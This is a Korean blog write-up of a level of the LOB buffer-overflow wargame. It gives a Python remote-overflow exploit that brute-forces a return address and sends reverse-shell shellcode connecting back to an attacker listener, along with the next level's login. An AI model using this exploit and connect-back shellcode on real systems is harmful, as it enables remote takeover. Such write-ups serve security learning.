CafeM0ca

[LOB]level19 xavius 본문

Hacking/LOB(Red Hat)

[LOB]level19 xavius

M0ca 2018. 2. 4. 14:01
반응형

ID:xavius    

PW:throw me away

리모트BOF다.

서버쪽은 소켓생성-주소,포트설정-연결 대기-연결 수락/거절-메시지 주고받기-소켓제거

클라이언트는 소켓생성-연결 신청-메시지 주고받기-소켓제거

모카가 해야할꺼는 클라이언트다.


버퍼는 ebp-40부분에있다. 256바이트를 recv함수로받으니 오버플로우 취약점이 존재한다.


리버스 쉘코드를 사용할꺼다.

peda에서 shellcode generate로 만들었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from socket import *
import struct
 
= lambda x: struct.pack("<I",x)
 
shell = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89
\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b
\x5a\x68\xc0\xa8\x00\x05\x66\x68\x2b\x67\x43\x66\x53
\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52
\x53\x89\xe1\xb0\x0b\xcd\x80"
 
 
for i in range(0xbfffffff,0xbffff000,-0x20):
    s = socket(AF_INET,SOCK_STREAM) #소켓생성
    s.connect(("192.168.92.129",6666)) #소켓연결
    print s.recv(60) #서버의 send
    print s.recv(10) #서버로 send
    payload = "A"*44+p(i)+"\x90"*100+shell
    s.send(payload) #서버의 recv
 
 
cs


다른터미널에서 nc로 listen상태가되면 클라이언트가 리버스쉘(쉘코드에 다른곳으로 연결하는 내용이 담김)로 또 다른 터미널로 접속한다.


공격자 클라이언트1 -> 서버 -> 공격자 서버

1.클라이언트1이 서버로 리버스쉘을 보냄. 

2.서버가 리버스쉘을 실행하면서 공격자 서버로 접속을 시도함. 

3.공격자 서버에서 권한을 획득


nc -lvp 열은 포트



level20 death_knight

ID:death_knight

PW:got the life



반응형

'Hacking > LOB(Red Hat)' 카테고리의 다른 글

[LOB]RedHat write up pdf  (0) 2018.06.22
[LOB]level18 nightmare  (0) 2018.01.23
[LOB]level17 succubus  (0) 2018.01.20
[LOB]level16 zombie_assassin  (0) 2018.01.19
[LOB]level15 assassin  (0) 2018.01.18
Comments